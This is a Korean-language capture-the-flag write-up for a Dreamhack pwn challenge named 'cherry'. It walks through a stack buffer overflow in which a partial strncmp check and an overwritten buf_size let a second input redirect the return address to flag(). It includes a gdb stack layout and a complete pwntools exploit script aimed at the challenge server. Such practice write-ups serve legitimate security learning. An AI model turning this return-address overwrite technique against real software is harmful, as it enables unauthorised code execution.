cherry

strncmp only checks the first six bytes, so the rest of the overflow is free to reach the return address.

2026.08.18 Pwn original post

No execute 가 되어있다.

Figure 1

Figure 2

목표는 flag 함수를 실행시키는 거 같다. 이 코드는 stack overflow 취약점이 있다. 특히 buf 크기는 6바이트인데, 16바이트를 읽고 있다.

중요한 점은 strncmp(buf, "cherry", 6) 이라서 앞 6바이트만 cherry 면 되고 뒷자리에는 아무거나 넣을 수 있다는 점이다. 그래서 아마, main 함수가 끝날 때 원래 돌아갈 주소 대신 flag() 함수 주소로 이동하게 만드는 코드인 거 같다.

자세한 오프셋과 flag() 함수의 주소를 알아내려면 gdb 로 main stack frame 을 확인해야 할 거 같다. 참고로 플래그 함수의 주소는 그냥 shell = e.symbols['flag'] 로 얻어내면 된다!

이게 내가 gdb 어셈블리어를 분석해 확인한 메인 스택 프레임이다.

높은 주소
────────────────────────
rbp+0x08   saved RIP          ← ret 때 여기로 점프
rbp+0x00   saved RBP
────────────────────────
rbp-0x04   stdin_fd  = 0
rbp-0x08   stdout_fd = 1
rbp-0x0c   buf_size  = 0x10
rbp-0x12   fruit[6]  = "cherry"
rbp-0x18   buf[6]
rbp-0x24   argc
rbp-0x30   argv
────────────────────────
낮은 주소

처음 입력에는 buf 는 6바이트인데 16바이트밖에 못 읽습니다. 그래서 첫 번째 read 는 여기까지밖에 못 덮습니다.

rbp-0x18 ~ rbp-0x13   buf[6]
rbp-0x12 ~ rbp-0x0d   fruit[6]
rbp-0x0c ~ rbp-0x09   buf_size 일부

즉 ret 까지 덮기에 한참 부족합니다. 두 번째를 더해도, fruit 도 6바이트여서 16바이트만 읽고 ret 까지 가지 못합니다. 하지만 2차 입력 때는 이미 buf_size 의 값이 스택에서 overwrite 됐기 때문에 더 쓸 수 있습니다. 이미지로 보여주면:

offset  0~5    → buf      = "cherry"
offset  6~11   → fruit    = "AAAAAA"
offset 12~15   → buf_size = "AAAA"

그 후, fruit 에서 ret 직전까지의 거리는:

(rbp+0x08) - (rbp-0x12) = 0x1a = 26 bytes

이니까

from pwn import *

p = remote('host3.dreamhack.games', 20689)
e = ELF('./chall')

address = e.symbols['flag']

p.recvuntil(b': ')
payload  = b'cherry'
payload += b'A' * 10
p.send(payload)

p.recvuntil(b': ')
payload  = b'a' * 26
payload += p64(address)
p.send(payload)

p.interactive()